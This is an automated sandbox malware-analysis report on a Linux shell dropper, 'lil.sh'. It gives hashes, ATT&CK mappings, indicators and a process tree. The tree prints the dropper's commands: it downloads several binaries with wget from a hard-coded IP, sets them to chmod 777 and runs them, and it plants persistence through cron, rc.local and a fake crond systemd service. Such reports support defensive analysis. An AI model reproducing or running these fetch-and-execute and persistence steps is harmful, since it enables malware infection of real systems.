86bbbe0a3fb87277af1d30253ddb96552e3d0bfca787d85ce31a457b8d97e604

Analysis

max time kernel
149s
max time network
143s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/08/2026, 06:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lil.sh
Size 848B
Sample260802-hl7nxsef49
SHA256 86bbbe0a3fb87277af1d30253ddb96552e3d0bfca787d85ce31a457b8d97e604
MD5 f1813effbccaaf3c96a3f09d0a4aeb78
SHA1 1f6ecdd88a8082c5200eb13ab7cb3f4da035e0b9
SHA512 b19fc83f6d6359c36fafdd541af17fc7766e809848438818a988b204636df71c241a8e148e9852807af34fdcea709c3a9764713b5b98583026db7a95be6937bb
TLSH
T18801CCC9D5548500409DC8AC29E71458F431C3C7158A4F68FFACE538AB88D04B06AE84
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
769	chmod
796	chmod
803	chmod
821	chmod
825	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/EyMl	773	lil.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/crond	EyMl
File opened for modification	/etc/crontab	EyMl

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	EyMl

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond.service	EyMl

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	EyMl

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/794/cmdline	EyMl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/893/cmdline	EyMl
File opened for reading	/proc/899/exe	EyMl
File opened for reading	/proc/282/exe	EyMl
File opened for reading	/proc/832/cmdline	EyMl
File opened for reading	/proc/859/exe	EyMl
File opened for reading	/proc/867/exe	EyMl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/1/cmdline	EyMl
File opened for reading	/proc/12/cmdline	EyMl
File opened for reading	/proc/23/cmdline	EyMl
File opened for reading	/proc/782/cmdline	EyMl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/833/cmdline	EyMl
File opened for reading	/proc/888/cmdline	EyMl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/17/cmdline	EyMl
File opened for reading	/proc/308/cmdline	EyMl
File opened for reading	/proc/889/exe	EyMl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/1/exe	EyMl
File opened for reading	/proc/275/exe	EyMl
File opened for reading	/proc/18/cmdline	EyMl
File opened for reading	/proc/568/cmdline	EyMl
File opened for reading	/proc/582/cmdline	EyMl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/824/exe	EyMl
File opened for reading	/proc/842/exe	EyMl
File opened for reading	/proc/891/exe	EyMl
File opened for reading	/proc/894/cmdline	EyMl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/2/cmdline	EyMl
File opened for reading	/proc/27/cmdline	EyMl
File opened for reading	/proc/793/exe	EyMl
File opened for reading	/proc/860/cmdline	EyMl
File opened for reading	/proc/870/cmdline	EyMl
File opened for reading	/proc/879/cmdline	EyMl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/772/exe	EyMl
File opened for reading	/proc/26/cmdline	EyMl
File opened for reading	/proc/279/cmdline	EyMl
File opened for reading	/proc/327/cmdline	EyMl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/881/cmdline	EyMl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/11/cmdline	EyMl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/169/exe	EyMl
File opened for reading	/proc/846/exe	EyMl
File opened for reading	/proc/865/cmdline	EyMl
File opened for reading	/proc/893/exe	EyMl
File opened for reading	/proc/5/cmdline	EyMl
File opened for reading	/proc/8/cmdline	EyMl
File opened for reading	/proc/795/cmdline	EyMl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/817/cmdline	EyMl
File opened for reading	/proc/868/exe	EyMl

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/EyMl	wget
File opened for modification	/tmp/lil	lil.sh

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:646
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:648
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:654
- /bin/ls
  ls -l /proc/107/exe
  2⤵
  PID:659
- /bin/ls
  ls -l /proc/109/exe
  2⤵
  - Reads runtime system information
  PID:665
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:669
- /bin/ls
  ls -l /proc/110/exe
  2⤵
  - Reads runtime system information
  PID:671
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:673
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:677
- /bin/ls
  ls -l /proc/139/exe
  2⤵
  - Reads runtime system information
  PID:678
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:680
- /bin/ls
  ls -l /proc/142/exe
  2⤵
  PID:681
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:682
- /bin/ls
  ls -l /proc/153/exe
  2⤵
  - Reads runtime system information
  PID:683
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:685
- /bin/ls
  ls -l /proc/160/exe
  2⤵
  PID:686
- /bin/ls
  ls -l /proc/169/exe
  2⤵
  PID:687
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:689
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:691
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:692
- /bin/ls
  ls -l /proc/206/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:694
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:695
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:698
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/270/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/271/exe
  2⤵
  PID:702
- /bin/ls
  ls -l /proc/275/exe
  2⤵
  PID:703
- /bin/ls
  ls -l /proc/279/exe
  2⤵
  PID:704
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/282/exe
  2⤵
  PID:706
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  PID:707
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:708
- /bin/ls
  ls -l /proc/303/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/306/exe
  2⤵
  PID:710
- /bin/ls
  ls -l /proc/308/exe
  2⤵
  PID:711
- /bin/ls
  ls -l /proc/321/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/327/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  PID:716
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:718
- /bin/ls
  ls -l /proc/568/exe
  2⤵
  PID:719
- /bin/ls
  ls -l /proc/582/exe
  2⤵
  PID:720
- /bin/ls
  ls -l /proc/588/exe
  2⤵
  PID:721
- /bin/ls
  ls -l /proc/591/exe
  2⤵
  PID:722
- /bin/ls
  ls -l /proc/592/exe
  2⤵
  PID:724
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:726
- /bin/ls
  ls -l /proc/634/exe
  2⤵
  PID:728
- /bin/ls
  ls -l /proc/635/exe
  2⤵
  PID:730
- /bin/ls
  ls -l /proc/637/exe
  2⤵
  PID:733
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  PID:734
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  PID:737
- /bin/ls
  ls -l /proc/643/exe
  2⤵
  PID:738
- /bin/ls
  ls -l /proc/644/exe
  2⤵
  PID:741
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  PID:743
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:745
- /bin/ls
  ls -l /proc/77/exe
  2⤵
  PID:747
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:749
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:752
- /bin/ls
  ls -l /proc/99/exe
  2⤵
  PID:754
- /bin/rm
  rm -rf EyMl
  2⤵
  PID:756
- /usr/bin/wget
  wget http://129.121.110.105/EyMl
  2⤵
  - Writes file to tmp directory
  PID:757
- /bin/chmod
  chmod 777 EyMl
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/EyMl
  ./EyMl lilin
  2⤵
  - Creates/modifies Cron job
  - Modifies rc script
  - Modifies systemd
  - Checks CPU configuration
  - Reads runtime system information
  PID:773
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:793
- - /usr/local/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:794
- - /usr/local/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:794
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:793
- - /usr/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:794
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:793
- - /usr/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:794
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:793
- - /sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:794
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:793
- /bin/rm
  rm -rf TCIi
  2⤵
  PID:779
- /usr/bin/wget
  wget http://129.121.110.105/TCIi
  2⤵
  PID:792
- /bin/chmod
  chmod 777 TCIi
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/TCIi
  ./TCIi lilin
  2⤵
  PID:798
- /bin/rm
  rm -rf DQ0
  2⤵
  PID:799
- /usr/bin/wget
  wget http://129.121.110.105/DQ0
  2⤵
  PID:800
- /bin/chmod
  chmod 777 DQ0
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/DQ0
  ./DQ0 lilin
  2⤵
  PID:809
- /bin/rm
  rm -rf mYH
  2⤵
  PID:810
- /usr/bin/wget
  wget http://129.121.110.105/mYH
  2⤵
  PID:818
- /bin/chmod
  chmod 777 mYH
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/mYH
  ./mYH lilin
  2⤵
  PID:822
- /bin/rm
  rm -rf 9YZ5
  2⤵
  PID:823
- /usr/bin/wget
  wget http://129.121.110.105/9YZ5
  2⤵
  PID:824
- /bin/chmod
  chmod 777 9YZ5
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/9YZ5
  ./9YZ5 lilin
  2⤵
  PID:826
- /bin/rm
  rm -rf lil
  2⤵
  PID:827

/bin/systemctl
systemctl daemon-reload
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:793

/bin/systemctl
systemctl enable crond.service
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:794

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

crond

Path /etc/cron.d/crond
Size 32B
SHA256 a284e671958082804a49c8b28ec199b687ec278bae8e1d022913692743941bfc
MD5 cd7f8aad2f0fbefe0320e9599dfeb024
SHA1 0816c4de0b734140300a11479953779060636882
SHA512 bec47496cbc4f4bdc886d698bfbac056e8c78af9218288de4fd72626d579a76a14f425b1ed7a48760e7ae29702020f82d2ff7386715f728df4ea683361f98ce4
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 36B
SHA256 b6eec69f3d4622bc14e014ca629456637e113e91bfe496b41937de9842c36900
MD5 08b75b84eb20d62f102321637a1171f1
SHA1 8423056be7fc1c94f249d798aa12d5d9b3b99bb0
SHA512 91e312f2c282a3aa7f764a1e2d3d4323e8dd9a00a11d8917dad1662906740e6f9bbf3659a0791c25ef79c7067e6fc891b2c4d3b5f7cb76ba9785caf6809d3fc7
MD5 SHA1 SHA512

Submit Download

crond.service

Path /etc/systemd/system/crond.service
Size 195B
SHA256 cf040984feb8a402ac7cef441e3c8d6acbc4cad59992e92e94b411231f2f9274
MD5 526585373d176b1a76da65e0be404cc2
SHA1 765b9ee8a4d290114e747021361e16afdaf7b132
SHA512 cc44ac4a9f6b3065d9d0a0ba1540f9f1b6929f2e05d9994f60607e5a9fb6ef7397ec1211e8d2e61b21213ce66bf089113d33edbac617aa709a5f8249c70db945
TLSH
T10ED02223956114A0894F29B2AEA62B488CA102000ACF92B04B9528291DF20EB12218AE
MD5 SHA1 SHA512 TLSH

Submit Download

EyMl

Path /tmp/EyMl
Size 69KB
SHA256 3dcff7e3ded3bf19981d30151dcaf48915e545d569eb97483d70aec1b7db70cc
MD5 d0bc1c7b9c20e9d7fd03c76c184b4a07
SHA1 f7ff0c4b0402f715d6dc0e25a9ec4a14a3ca3356
SHA512 f076af20e30484c836be8a27545831c05a88f28413cfa34d97e77beeda2e81375223d26de7244b0cecf07af404bbcc7fc1ebf14492797a5d63ec3d504b02d4b2
SSDEEP 1536:qUfzxROOxFIrq+ROyi0hM0/WYkQ5mNT9SNZcQGFEEbBX9n:qUfzx0OxCVZh1/WHQSTQHLGFEEbB
TLSH
T131630855B8939F1AC6D21677FF1E434D332623A8D3EA7213DA056F6633CF42A0E2A541
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads